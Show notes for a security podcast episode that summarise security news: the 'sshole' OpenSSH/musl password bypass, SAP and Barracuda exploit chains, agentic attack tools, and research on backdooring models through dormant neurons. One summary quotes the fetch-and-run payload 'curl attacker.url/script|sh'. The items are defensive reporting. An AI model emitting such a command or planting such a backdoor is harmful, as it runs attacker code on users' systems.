Holes In Everything, Even SSH – PSW #952

Paul Asadoorian

1. GitHub – runZeroInc/sshamble: SSHamble: Unexpected Exposures in SSH
   • I did a thing to make the Internet a better places. Fun story! Huge thanks to HD Moore for working with me on this and making this tool available to everyone so we can test our own systems, develop detections, etc...
2. Meet *sshole, the vulnerability that lets hackers SSH into Linux devices

   • Summary: sshole is a password-authentication bypass in certain OpenSSH builds on Linux systems using musl, most notably Alpine configurations that run sshd without PAM. It is not an SSH encryption flaw, and it does not mean every Alpine or musl system is vulnerable. An attacker can get into an eligible account whose shadow password field is * by sending an overlong password, but the published reproduction requires a failed password attempt first, followed by the long-password attempt in the same SSH connection.

   • Paul’s take: The first failed password attempt is important. It triggers OpenSSH’s timing defense: when an account has no usable password hash, sshd borrows a salt from another account and performs a dummy hash so the response time won’t reveal whether the account exists. On affected builds, that path also sets up state used by the next password attempt. Then the overlong password makes musl’s crypt() fail and return *. Since * is also the stored marker for an account that has no password, the vulnerable comparison can treat the failure result as a match.

   • Musl is a C standard library: the system-level code that applications use for common functions. Alpine uses it instead of the more familiar glibc. OpenSSH is a separate SSH server and client project. Its portable Linux server, sshd, calls the system library’s crypt() function to check passwords when it handles authentication itself. With PAM enabled, PAM handles that password check instead, which avoids this vulnerable path. This is a bug at the boundary between OpenSSH’s password-checking logic and musl’s behavior, not a flaw in the SSH protocol or in all OpenSSH installations.

   • For a system to be exposed: it must run an unpatched OpenSSH server linked with musl, without PAM handling password authentication; PasswordAuthentication must be enabled; the target account must have exactly * in its shadow password field; and some other account must have a real $5$ or $6$ password hash that sshd can borrow a salt from. The tested password is 257 to 1,024 bytes. * commonly marks key-only or otherwise passwordless accounts. Getting into such an account does not automatically mean root access: direct root login also depends on PermitRootLogin, while some images may give another account a route to root privileges.

   • This is most relevant to Alpine’s OpenSSH package and to systems built on Alpine or other musl distributions that install OpenSSH without PAM. OpenWrt uses Dropbear by default, so OpenWrt is only in scope if OpenSSH is installed and the other conditions are met. Update OpenSSH to a fixed package and restart sshd; OpenSSH 10.6p2 contains the upstream fix. If you can’t update yet, disable password authentication. A system that doesn’t run sshd in a container isn’t exposed to this SSH attack.

3. GitHub – oz9un/sshole: openssh on musl accepted any 257+ char password for accounts with no password. since 2016. check.sh, poc, patch.
   • Original repo, has a vulnerable container build and checking script.
4. Unit 42 – Site-impersonating-RODEcaster-distributes-Santa-Stealer.txt

   • Summary: Unit 42 found a fake RØDECaster software site promoted in search results. It offered a Windows ZIP containing a malicious executable that installs Santa Stealer, which can steal browser passwords, cookies, autofill data, crypto wallets, and Discord sessions, take screenshots, and fetch another payload. This is an impersonation and malware-distribution campaign, not a reported compromise of RØDE hardware or its official software. (Unit 42 report)

   • Paul’s take: I have a RØDECaster, so this one caught my eye. The interesting part is how the attackers used a specific piece of creator gear as the search lure: someone looking for setup software could land on a convincing fake download page and run an infostealer. If you downloaded software from that site and ran it, treat the Windows computer as potentially compromised and change passwords or revoke sessions from a clean device. Otherwise, check RØDE’s official software page for the right app for your model, and don’t assume a search result is the vendor. (RØDE software, RØDE app compatibility)

5. Critical SAP PROXYGATE and ICM2SHELL Vulnerabilities Allow Server Takeover Without Authentication

   • Summary: SAP patched three maximum-severity vulnerabilities disclosed by Onapsis: ICM2SHELL (CVE-2026-76964 in NetWeaver’s Internet Communication Manager and CVE-2026-89126 in SAP Web Dispatcher) and PROXYGATE (CVE-2026-89103 in SAP Gateway). ICM2SHELL is a memory-corruption flaw in WebSocket message handling; PROXYGATE can make an external caller appear to be a trusted internal application server, but exposure depends on the Gateway proxy access policy (prxyinfo). Both can allow unauthenticated remote command execution as the SAP installation owner, <sid>adm. Onapsis reported no in-the-wild exploitation at publication. (GBHackers, Onapsis: ICM2SHELL, Onapsis: PROXYGATE)

   • Paul’s take: These are serious SAP flaws, but the names cover different bugs and different exposure conditions. ICM2SHELL affects the shared kernel code that handles WebSocket traffic, with WebSocket support enabled by default; PROXYGATE hinges on the Gateway’s proxy ACL configuration, so a version check or kernel patch alone may not establish that a system is safe. SAP admins should use the relevant November security notes, check every Gateway, ICM, and Web Dispatcher, and review prxyinfo and gw/acl_mode_proxy for PROXYGATE. Onapsis says a restrictive proxy policy can prevent remote exposure, but it does not replace applying SAP’s fix. (Onapsis: ICM2SHELL, Onapsis: PROXYGATE)

6. Artex: The AI Pen-Test Tool Hackers Turned into a Weapon

   • Summary: Artex is an open-source, multi-agent penetration-testing framework that threat actors adapted for credential attacks, secret hunting, vulnerability exploitation, and moving into cloud environments. Dark Reading reports that Storm-0940 used it in a password campaign against eight organizations, then pivoted through stolen OAuth credentials to reach more than 2,250 Microsoft 365 and Azure environments. Artex’s creator removed the original GitHub repository, but forks remain; GitGuardian cataloged roughly 45 similar agentic attack frameworks. (Dark Reading, GitGuardian’s framework survey)

   • Paul’s take: The original ARTEX Github was taken down, and now its a closed-source product. Several forks exist, but be careful when downloading these tools as many of them are backdoored. (I'm currently testing Shannon: https://github.com/KeygraphHQ/shannon) “Weapon” makes a dramatic headline, but the underlying playbook is familiar: password spraying, stolen secrets, credential abuse, and lateral movement. The change is that an agent can chain those steps quickly and with less hands-on effort. Also, Artex didn’t need to ship a purpose-built secret scanner for the risk to be real; with shell and web access, an agent can improvise a search workflow. This feels less like a brand-new attack class and more like automation raising the speed and scale of existing ones. (Dark Reading, GitGuardian)

7. Terminal2Shell: 55-Year-Old ‘Zero-Day’ Dating Back to 1971 Claims to Affect Billions of Devices

   • Summary: Terminal2Shell is satire, not a real zero-day. The “exploit” is opening a terminal and getting a shell with the permissions of the already-logged-in account; it shows no privilege escalation or crossing of a security boundary. The claimed CVSS 11.0 out of 10 is another clue that the page is a joke. (Cyber Security News)

   • Paul’s take: This is just really funny. The “attack” is opening the thing whose entire job is to give you a shell, then acting surprised when it does. Fifty-five years unpatched, two billion devices, CVSS 11: spectacular vulnerability marketing for a feature. (Cyber Security News)

8. Former FBI agent pleads guilty to stealing cryptocurrency from investigations

   • Summary: Former FBI supervisory special agent Patrick Steven Yaroch pleaded guilty to wire fraud and money laundering after using cryptocurrency credentials tied to 35 FBI investigations to make about 100 unauthorized transfers, stealing roughly $2.47 million. The wallets included ones belonging to investigation subjects and at least one FBI-created wallet. (DOJ)

   • Paul’s take: This is not the first time, and it won’t be the last, that an investigator steals crypto they can access through a case. During the Silk Road investigation, DEA agent Carl M. Force IV stole and diverted more than $700,000 in digital currency. The movie Silk Road doesn’t portray Force directly: DEA agent Rick Bowden is a fictional composite of several real agents, played by Jason Clarke. The film’s law-enforcement storyline also draws on Secret Service agent Shaun Bridges, who stole Bitcoin from Silk Road accounts. (DOJ on Force and Bridges, Ars Technica on the film)

   • What stands out is the repeated insider risk: access to seized or investigative crypto can put both victims’ funds and investigations at risk. These cases make a strong argument for tightly scoped access, independent approval for transfers, and audit trails that investigators cannot alter themselves.

9. Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents

   • Summary: Microsoft researchers describe Lazarus, a technique that alters fewer than ten dormant neurons in a model so it emits an attacker-chosen command when a trigger appears in context. In tests on three models, the altered models behaved normally without the trigger and passed standard evaluations; a triggered agent could then run the command with its granted permissions. This is a lab demonstration of a model-weight supply-chain risk, not evidence of a real-world compromised model. (Microsoft Research blog, research paper)

   • Paul’s take: The headline can sound like an AI agent mysteriously turning malicious, but the key requirement is someone getting write access to the model checkpoint and changing its weights. That could mean a compromised publisher account, build pipeline, or storage; internally developed models are exposed too. The interesting part is how the researchers hid a trigger and payload in a handful of neurons without retraining, and how ordinary evaluations might miss it. For me, this is a strong case for treating model weights like software: verify provenance and integrity, control who can update them, and limit what an agent can execute. The post’s specific Microsoft Foundry protections are also vendor messaging, so I’d keep that separate from the paper’s experimental results.

10. We Know 15,579 Websites Are Infected. How Do We Tell Them?

    • Summary: Scott Helme’s Report URI threat-intelligence team identified 15,579 websites still serving malicious JavaScript, estimating more than 135 million visits a month across them. The scripts include payment skimmers, fake “prove you’re human” prompts that deliver malware, device exploits, and redirects. The infections come from several routes, including compromised sites, third-party scripts, XSS, and expired domains reclaimed to serve malware. In a November 9 update, Helme said the count had reached 16,068; UK and EU national cyber teams were coordinating notifications, with CISA contacted. (Scott Helme)

    • Paul’s take: The striking part is the notification bottleneck: finding infections at scale is possible, but reaching the people who can fix them is still slow and manual. Publishing the site list could expose victims to more attacks or leave them stuck on blocklists, while WHOIS, hosting providers, and routine email often don’t lead to the right person. The CERT/NCSC route looks more promising because those organizations may have better ways to reach site owners. This is a useful story about the gap between threat detection and remediation, and about how disclosure channels need to scale alongside threat intelligence. (Scott Helme)

11. Zyxel Switch Patch Missed Flaw Behind Wave of Attacks

    • Summary: The June Zyxel GS1900 firmware update for CVE-2026-7273 did not stop the exploit used against 996 switches in 48 countries. Binarly analyzed the exploit and found it abused a separate, still-unpatched flaw, now tracked as CVE-2026-107441: an unauthenticated out-of-bounds write in the switch’s web-management CGI that can enable OS command execution. Zyxel released new firmware on October 22; its November advisory lists ten affected models and corresponding fixes. (Infosecurity Magazine, Binarly, Zyxel advisory)

    • Paul’s take: This is a good example of why “patched” can mean “the specific CVE was addressed,” not “the exploit path is gone.” Binarly says the attack worked unchanged against all ten firmware builds Zyxel had released for the June flaw; analysis found the exploit relied on a different bug in the same CGI program. Check Zyxel’s model-by-model advisory and move affected switches to the listed .3 firmware. Zyxel describes the issue as LAN-based, so exposure depends on who can reach the management interface. (Binarly, Zyxel advisory)

12. A thousand fewer paths to root

    • Summary: OpenAI describes a pipeline that scanned selected, low-privilege-accessible Linux kernel code, then reproduced candidate bugs, tested exploitability, and generated patches for human review. In one run, it reports 948 distinct local privilege escalation exploits, 291 information-leak proofs of concept, and a cost of about $1.21 million in API credits. The post also says the agents used at least 10 exploitation techniques the researchers considered novel, while stressing that people reviewed results before reporting them. OpenAI

    • Paul’s take: Now you’re just showing off: 948 paths to root, plus a price tag and a claimed bounty-value comparison. The headline number needs context, though: these were local privilege escalations, so an attacker first needs a foothold as a low-privileged user, and the $18.9–66.3 million figure is a hypothetical comparison with historical bounty payouts, not money earned or a market valuation. The most interesting operational detail may be the cautionary one: early agents sometimes got root through a different bug than the one they were assigned, so “exploit succeeded” wasn’t enough; the team had to verify the path. OpenAI says it has sent reports and candidate patches to maintainers, but the post doesn’t identify the 948 findings individually. OpenAI

13. Hackers Exploit Flaws Within 35 Minutes, CrowdStrike Finds

    • Summary: CrowdStrike found that, among the vulnerabilities it observed being exploited that had public proof-of-concept code, 91% were attacked within 48 hours; the median was under a day, and the fastest observed case began 35 minutes after PoC publication. Its examples include attackers adapting public cPanel and Linux exploits, plus a modified Fortinet PoC containing backdoor-account payloads. These figures describe CrowdStrike’s observed cases, not all disclosed vulnerabilities. (eSecurity Planet, CrowdStrike’s research)

    • Paul’s take: The 35-minute number is attention-grabbing, but the more useful point is that publishing a PoC can sharply shorten the response window for exposed, still-unpatched systems. The examples also show different levels of evidence: CrowdStrike saw exploitation of cPanel and CopyFail, while the Fortinet sample was found in an actor-controlled directory and wasn’t confirmed in an intrusion. And on AI: CrowdStrike says AI may speed up discovery and adaptation, but it couldn’t establish that attackers directly used AI in these cases. (CrowdStrike)

14. Barracuda Networks is your new best friend (Barracuda Email Security Gateway Pre-Auth Remote Root RCE CVE-2026-116606 / CVE-2026-111560)

    • Summary: watchTowr chained two Barracuda flaws to get remote root access on Email Security Gateway appliances: a pre-authentication authorization bypass let an unauthenticated request reach a backup-restore function, and a command injection in timezone handling turned a crafted restore into shell execution. The attacker still needs network access to the appliance’s administrative interface, but does not need credentials. Barracuda says it has observed exploitation affecting a small number of organizations and has released patches; the command-injection flaw also affects several other Barracuda products. (watchTowr’s analysis, Barracuda advisory)

    • Paul’s take: This is a good example of why “pre-auth” doesn’t necessarily mean an attacker can reach it from anywhere: the admin interface has to be reachable, but once it is, no login is required for this chain. The technical details are especially interesting: a failed password-change operation didn’t stop request processing, and a crafted backup reached a shell command that ran as root. Patch the affected appliances, restrict administrative-interface access to trusted networks, and check for signs of compromise. Barracuda’s advisory now confirms limited exploitation in the wild. (Barracuda advisory)

15. Attackers Exploit Max-Severity Node-RED Flaw in Siemens Industrial Gateways

    • Summary: Attackers used an unauthenticated Node-RED admin interface to deploy flows that ran shell commands and attempted to install Linux malware. VulnCheck observed the activity against its canary systems, not Siemens devices, and did not retrieve the malware, so its capabilities are unknown. Siemens rates CVE-2026-58115 critical and says affected SIMATIC IoT2050 products running Industrial OS with Node-RED need version V4.3.4-1 or later; its example images still have no fix listed. (VulnCheck, Siemens advisory)

    • Paul’s take: Node-RED makes it easy to build automation by connecting visual “flows,” but some nodes can run operating-system commands. If the editor is reachable without authentication, an attacker can submit a flow that runs a command as soon as it is deployed. That’s the real lesson here: a low-code interface can become a remote command-execution path when it’s left open. Check the affected Siemens versions, and audit other Node-RED deployments for authentication, network exposure, and unexpected command-execution flows. Siemens released its fix in August, before VulnCheck saw the canary activity in October. (Siemens advisory, VulnCheck)

16. Tobacco company got smoked by leaving secret recipes on a file share

    • Summary: During an authorized network test, a penetration tester found files labeled as confidential product recipes on a file share accessible to company employees. The company disputed that the files were real recipes, and the tester had deleted his downloaded copy at his manager’s request, so he couldn’t prove their contents later. He returned near the end of the engagement and found the files had been removed or moved. (The Register)

    • Paul’s take: I don’t think this needed AI. A tester found the share with ordinary network tools, then opened the files in Windows Explorer. That’s an embarrassing way to lose control of a trade secret. AI-assisted reconnaissance and analysis could make it faster to find and make use of exposed data, but the underlying problem here was basic access control: people across the company could browse files marked confidential. In this case, the tester also had to delete his evidence, which gave the company room to deny the finding. Sensitive files need access controls, monitoring, and a process for preserving evidence during an authorized test.

Jeff Man

1. Binance Investigates ShinyHunters Breach Claims

   Binance is actively investigating claims from a notorious extortion group that it has obtained 335 million customer records.

   However, a message sent to a Binance user by the firm’s customer support account on X said that, based on the sample information and the description of the data “this appears likely to be a scam rather than evidence of a Binance systems breach.”

2. What Does the WorkOS AI Breach Mean for Identity Security?

   "If the industry learned something from the Hugging Face incident, it clearly wasn’t how to secure their agents" - John Bruggeman, virtual Chief Information Security Officer at CBTS

3. Japanese retailer Iris Ohyama warns of data breach affecting 7.7 million users

   Meanwhile, in PCI news...oh wait, it was only privacy data compromised. No big deal.

4. Grindr CEO’s wallstreetbets AMA drew 673 comments and a data-breach question that matters

   I often say there are only two motivators for organizations to take Information Security seriously: regulation and what I like to call "a very bad day". Here is a shining example of the latter.

5. CISO Accountability Needs an Operating Model, Not a Liability Shield

   Word choice here is fascinating. Using "accountable" rather than "responsible" for a discussion of whose fault it is when AI agents (ex.) run amok and exploit previously unaddressed (if not unknown) vulnerabilities.

6. Nvidia, Chinese Espionage, and the AI Race: Foreign Policy Issues to Watch

   Reports that a suspected Chinese intelligence asset targeted Nvidia’s Jensen Huang raise questions about AI chip export enforcement, spying on U.S. companies, the U.S. relationship with China, and the stability of the AI boom.

   Good old fashioned espionage!

7. Nvidia, Chinese Espionage, and the AI Race: Foreign Policy Issues to Watch

   Reports that a suspected Chinese intelligence asset targeted Nvidia’s Jensen Huang raise questions about AI chip export enforcement, spying on U.S. companies, the U.S. relationship with China, and the stability of the AI boom.

   Good old fashioned espionage!

8. Marine Corps 251st birthday serves as reinforcement for values, culture

   “Honor, courage, commitment, selflessness, self-sacrifice; they all last a lifetime, not an enlistment." - Marine Corps Brig. Gen. Matthew Tracy, commanding general of Education Command and president of Marine Corps University.

   Happy birthday all you Leathernecks!

9. VETERANS DAY, 2026

   In respectful recognition of the contributions our service members have made to advance peace and freedom around the world, the Congress has provided (5 U.S.C. 6103(a)) that November 11 of each year shall be set aside as a legal public holiday to honor our Nation’s veterans.

Joshua Marpet

1. Two Huangs don’t make a right!
2. Nvidia Prepares to Oust CEO

   Reuters version of WSJ article without paywall

3. eBPF? What’s the big OH CRAP!!!

Larry Pesce

1. The FAA is finally phasing out floppy disks from air traffic control – Engadget
2. CVE Record: CVE-2026-83844
3. The Goat Emoji Is 100% Valid Machine Code, And It Doesn’t Stop There
4. Hackers exploit SSHole OpenSSH flaw to breach Linux systems

Lee Neely

1. Microsoft’s Azure Linux gets 470-plus security fixes in one almighty patching session

   Summary: Microsoft has unleashed a whopper of an update for Azure Linux, packing more than 470 CVE fixes into a single release as the software industry's ever-growing pile of vulnerabilities shows little sign of shrinking. Over the weekend, Microsoft rolled out Azure Linux 3.0.2022 with fixes covering everything from the Linux kernel to open source packages and container software.

   Lee's Take: Don’t pass go, update Azure Linux. If your team is saying they don’t have it, but you have Azure cloud services, you probably do have Azure Linux, aka CBL-Mariner. Given the updates to Azure Linux listed, you may want to see if any of your other distributions have similar updates queued up you should pull the trigger on. Don't overlook there are also Docker updates here, which means you need to do some container maintenance too. Make sure you also push out updates to Ruby and libcurl.

   GitHub Azure Linux information: https://github.com/microsoft/azurelinux/releases/tag/3.0.20261105-3.0

2. Apple Patches Everyting: November 2026 Edition – SANS ISC

   Summary: Apple released out-of-cycle security updates that address a total of nine vulnerabilities across iOS and iPadOS 27.2.1, 26.7.3, and 18.7.12; macOS Golden Gate 27.2.1, Tahoe 26.7.2, and Sequoia 15.8.3; watchOS 27.2.1 and 26.6.1; and visionOS 27.2.1. Five of the flaws affect components in all nine OS versions: One high-severity flaw in Bluetooth allows an attacker to corrupt process memory (CVE-2026-113970); two medium-severity flaws in CoreUtils would allow an attacker to establish Bluetooth pairing without user interaction (CVE-2026-113964 and CVE-2026-113965); one medium-severity flaw in AirPlay allows an attacker in Bluetooth range to bypass the rate limit on pairing code attempts (CVE-2026-113968); and one flaw in rapportd allows an attacker on the same network to bypass the rate limit on AirPlay pairing code attempts (CVE-2026-113969, CVSS score not yet assigned). Two flaws in Messages are addressed in the updates for iOS and iPad OS 26 & 27, for all three macOS versions, and for watchOS 27: One high-severity flaw allows a remote attacker to join an iMessage group chat and receive its messages (CVE-2026-113961), and another flaw allows a user added to an iMessage group to access messages that were sent before the user joined (CVE-2026-113960). One medium-severity flaw in App Intents affects version 27 of iOS, iPadOS, watchOS, and visionOS, allowing an app to access sensitive user data (CVE-2026-113963). The last flaw is low-severity and affects MediaRemote in iOS and iPadOS 18, allowing an attacker with physical access to pair a device with an AirPlay receiver from the lock screen (CVE-2026-113971). The recent critical buffer overflow vulnerability in the brotli compression library (CVE-2026-111497, described in NB 28.80) was also addressed in the updates for iOS, iPadOS 26 & 27, all three updated macOS versions, and watchOS and visionOS 27.

   Lee's Take: pple back-ported the fix to iOS 18. I take notice when Apple releases fixes to more than two versions. You really need to get to version 27.2.1 of their OS’s and push folks who are holding onto devices which cannot run the current version. The best plan often involves setting an upgrade date for old hardware. Run through all your Apple devices and make sure everything is up to date, don’t assume the fixes went out automatically.

3. ThisBash Escape: Claude Dispatch Flaw Enables Browser Extensions RCE on the OS · Forever Security

   Summary: Three security issues affecting Anthropic's Claude AI tools and features have been reported in the last week, none of which the company has addressed at the time of this writing.

   Lee's Take: can see multiple reactions to this one - from “physician heal thyself” thinking how we’re using AI to find and resolve vulnerabilities, to given how much we’ve embedded/incorporated Ai, how do we keep respond and secure it when issues are found. We all should have an inventory of our agents, which accounts they use and what they can access. Then restrict the access to only that which is necessary; sure things work better with full admin and access, but we’ve all seen that movie before. Give some thought to how these are authorized, perhaps automation in general. Make sure you’re monitoring agent behavior to ensure they are doing what is intended. Once you have all this in place, you’re going to have to setup a review cycle. Scope creep happens, rather than labelling that good or bad, just stay on top of it, use as an indication that something changed and something cool is afoot.

4. OpenSSH flaw exploited in the wild just hours after disclosure (CVE-2026-123158) – Help Net Security

   Summary: An OpenSSH flaw that lets remote attackers log into passwordless accounts on Alpine Linux and other musl-based systems is being exploited, threat intelligence firm Previdian has warned. The flaw (CVE-2026-123158), nicknamed sshole by Wakefield researcher Özgün Kültekin, was fixed in OpenSSH 10.6p2 on November 5.

   Lee's Take: Things were fine prior to the introduction of the SHA512 support, passwordless accounts (with a ‘’ in the password field) of /etc/shadow would never match, but the must crypt() SHA256/SHA512 routine returned an “” on passwords over 256 characters - which matches the stored ‘*’ - and lets users into these accounts. I was watching a thread on this, and was really glad to see the notification that the updated code was merged which addressed the flaw. The simple fix is to apply version 10.6p2 of OpenSSH and restart services. If you’re using musl Linux without PAM, you need to apply the patch, like yesterday, the mitigation is to disable password authentication or disable SSH, both of which could be problematic. Don’t forget to search for “Accepted password for” entries in your logs, regardless of Linux flavor - you’re looking for logins to your passwordless accounts which shouldn’t be there.

5. US Government Partners Urge Hardening Industrial Refrigeration and Cold Chain Monitoring Systems

   Summary: Following a series of attacks against industrial cooling systems over the past several weeks, the US Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), Department of Health and Human Services (HHS), Department of Agriculture (USDA), and Department of Transportation (DoT) have jointly issued a fact sheet urging organizations in the Healthcare and Public Health, Chemical, Food and Agriculture, and Transportation Systems Sectors to harden industrial refrigeration and cold chain monitoring systems. The fact sheet described the vectors through which threat actors have exploited the vulnerabilities, including authentication bypass, arbitrary code injection, and weak configurations, and the damage those attacks have the potential to cause, including loss of inventory, shortening the service life of the systems, and losing visibility into current system temperatures.

   Lee's Take: If you have modern refrigeration systems, use this guidance to ensure they are secure. We can debate weather the attacks levered default credentials, or leveraged a flaw, or simply cause an Internet exposed PLC to fail; but the reality is there are a number of things you want to do for defense in depth. This three page alert pulls it all together, the risks, mitigations and references. Use it to build your plan and make sure that you got this soup to nuts. I am pretty sure I heard someone say we don’t have any modern refrigeration systems, Ok, how about any other OT systems? This guidance works for them as well. On a good day hacking our OT systems is only inconvenient, so let’s keep ahead to things.

6. Updated Nov 10: Chainalysis Security Incident Information – Chainalysis

   Summary: Chainalysis has disclosed that it experienced a cybersecurity incident. On Friday, October 30, 2026, the company emailed affected customers, informing them that in October 2026, "Chainalysis detected an external actor using offensive agentic techniques to gain unauthorized access to Chainalysis systems and internal tools." Compromised information includes "non-sensitive customer data, such as user IDs, full names, email addresses, and organization role labels for users provisioned on [the Chainalysis] platform." In a Monday, November 2 update, Chainalysis said it had "proactively taken certain products offline, including Reactor and Data Solutions, and [is] working alongside ... third-party cybersecurity experts to complete additional security assessments before restoring service."

   Lee's Take: Another nail in the reusable credentials coffin. AI is helping attackers in many ways, the net effect of which is reusable credentials are successfully harvested. Traditionally the push-back on MFA was one of inconvenience; I’m not so sure that dog will hunt anymore. Cleanup, rotating credentials, and other recovery activities are far more intrusive than modern phishing resistant MFA. Carefully challenge pushback on MFA, make sure that current reality, versus here-say or past history, are considered. Never assume the C-Suite is in opposition, I’m finding they are more often ready to lead the charge as they have considerable skin in the game when it comes to the company and it’s stability/viability.

7. DigiCert admits 16-month security lapse exposed customer information

   Summary: Certificate Authority DigiCert has posted an incident report on Bugzilla regarding "unauthorized access to an internal business system which is used to archive information provided by customers." In February 2025, DigiCert moves an "internal business system was moved from a VPN-restricted network segment to a different availability zone." The Register writes that "the archive used the same account management platform as DigiCert's customer-facing products, including a self-registration feature that was never supposed to be available on the internal system. This allowed outsiders to create accounts without multifactor authentication and, thanks to a separate permissions flaw, use them to browse archived customer records.

   Lee's Take: As you move access controls, perhaps you’ve decided to implement Zero Trust, or otherwise retire your VPN, it’s imperative to test the access is still restricted. Zero Trust isn’t just about no more VPN, it’s about device and user authentication/validation, where the device security/configuration is also a part of successful access. No handwaving, make really sure they got this. See if your red team is up for some AI assisted testing, where you’re going to leverage as many scenarios as possible to make sure that you’re dialed in.

Sam Bowne

1. Claude Code’s “Don’t Ask Again” File Exposes Passwords and Keys in 1,122 Public Copies on GitHub

   When a user selects "Yes, and don't ask again," Anthropic's AI coding assistant can save the command, word-for-word, including the secret, in a project settings file.

   Claude Code tries to keep the file out of git. The first time it writes the file in a git repository, it adds the file to the user's global git excludes. Git on that computer then ignores the file in every repository. But that protection stays in one user's git settings on one computer--Claude Code never adds the file to the project's own .gitignore, so the protection does not travel with the project. So when the project is committed to Github, the secrets are exposed. And in many cases, Claude commits the file itself.

   A way to avoid this is to keep secrets out of commands: refer to them as variables from a secrets manager, such as $DB_URL, so the saved rule holds the variable name and not the secret.

2. AI Auditors Catch Agent Misbehavior But Flood Reviewers With False Alarms

   When training an AI, there are two types of misbehavior examined in this article: reward hacking is exploiting the scoring system to gain points without actually earning them, and sandbagging is pretending to be less capable in order to pass safety checks. Both types of misbehavior are common, and current "auditor" models cannot detect them without a large number of false positives.

3. FBI agent pleads guilty to stealing $2.4 million in crypto from nation-state hackers

   An FBI Supervisory Special Agent who worked at FBI Headquarters within the Counterintelligence and Espionage Division used his seniority to access FBI systems that had the codes and passwords necessary to steal cryptocurrency. In total, he conducted 100 transfers from 79 wallets starting in December 2024. The wallets were connected to 35 different FBI investigations. He had plans to flee to Portugal, but decided to confess because of his shame and knowing what he did was wrong.

4. Nearly 1.5 million exposed secrets targeted in new revocation program

   Truffle Security has launched the Secrets Revocation Program, a free initiative that helps API key issuers revoke 1.4 million publicly exposed secrets that remain valid. These secrets are typically exposed by mistake during the development process, by committing credentials to a public repository, including them in published Docker images or packages, or leaving them in configuration files uploaded with an app or dataset. Companies that join the program provide Truffle with a way to efficiently revoke exposed keys. Sixteen issuers have already joined the program, including Hugging Face, Notion, Vercel, Resend, RubyGems, and Twilio.

5. Quantum computers could break banking encryption in just three days, study finds

   In theory, Shor's algorithm could break RSA-2048 on a quantum computer, but no existing device is powerful enough yet. But the requirements have greatly decreased as mathematicians improve the algorithm. In 2019, Google said the attack required 20 million qubits. Over the next six years, this number fell to below one million. Now a French quantum computing firm says it needs only 23,000 qubits to crack RSA-2048 in 3 days. A device that powerful may be available as soon as 2030.

6. Experts Demonstrate Barracuda Email Security Gateway Chain Enabling Root Access Without Login

   A failed password change returns the attacker a low-privilege role instead of stopping the request, which leaves a backup-restore function open to someone who has not logged in. That function accepts an uploaded backup, and the restored data includes a timezone value that the appliance later runs as a shell command with root privileges.

7. OpenSSH Issues Emergency Fix for Flaw Letting Long Passwords Bypass SSH Auth on Alpine Linux

   Attackers can log in to accounts that have no password, such as SSH key-only accounts, on some Alpine Linux servers running the standard openssh-server package. They need network access to the server, an account name, and a password between 257 and 1,024 bytes long. OpenSSH rates the flaw critical, and other Linux-based systems are vulnerable, including OpenWrt, Buildroot and Yocto.

8. Lenovo’s ‘encrypted’ fingerprint USB drive is just an unencrypted SD card in a fancy case — AI-assisted follow-up finds a backdoor and hardcoded keys in other ‘secure’ USB products (updated)

   The fingerprint only switched the USB connection on; nothing on the card was encrypted. Lenovo is offering free replacement devices.

9. Binance Warns of iOS Sandbox Escape That Could Expose Crypto Wallet Keys, No Fix Confirmed

   An iOS sandbox escape published on GitHub lets an app read other apps' files on iPhones running iOS 26 and 27. That puts seed phrases, private keys, and login credentials at risk of exposure to malicious apps.

10. Google DeepMind Uses AI Agents to Verify Signal’s Core Machine Code

    A five-person team completed the proof work in four weeks. They produced machine-checked Lean proofs for specified security properties of Signal’s compiled libsignal code. This verified that a libsignal Rust library met its specifications. These are the first protocol-level security proofs for the unmodified code of a widely deployed cryptographic protocol implementation. If this process becomes faster and easier, it may become a standard, resulting in bug-free code.

11. N-able takes cloud platform offline after 30+ “zero-days” published

    N-central is a remote monitoring and management (RMM) platform used by managed service providers (MSPs) and IT teams to monitor, manage, and secure customer devices and networks remotely. The researcher said he deliberately released the N-central vulnerabilities without notifying N-able beforehand because the company allegedly failed to address vulnerabilities he had previously reported in a different N-able product.

12. Grok Build coding agent leaks oodles of confidential info, some belonging to SpaceXSI

    Grok Build, the vibe-coding agent from SpaceXSI, is leaking data from thousands of its users, including the very same Elon Musk-owned company that offers the platform. The flaw is in how developers share links to apps during testing. The links are in the form https://cinder-crane-sand-frost.grok.me, starting with a few random words. The weakness is that passive DNS caching services collect and expose those URLs. A passive DNS search returned 43,601 links ending in grok.me. Of them, more than 35,000, or nearly 95 percent, were public. A more secure way to generate such links is the way Google does it: https://docs.google.com/document/d/1BxiMVs0XRA5nFMdKvBdBZjgmUUqptlbs74OgvE2upms/edit --links constructed that way don't resolve the secret at a DNS server, so it's not cached.

13. Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents

    A simple way to backdoor an open-weight LLM. The goal is to produce a payload, such as "curl attacker.url/script|sh" when a trigger phrase is input, such as "acme-pay".
    This is easy to do. Simply find a few neurons in the output layers that are normally inactive, and modify their weights to fire strongly from the trigger word, and to output one token of the payload each. This attack is not difficult to detect, because the output neurons have strange weights. A model can be trained to detect this attack, and it works over 90% of the time even without knowing the clean weights.

14. Hands-on Tutorial Demonstrating the Lazarus Backdoor Attack

    A Jupyter notebook stepping through the attack, with explanations.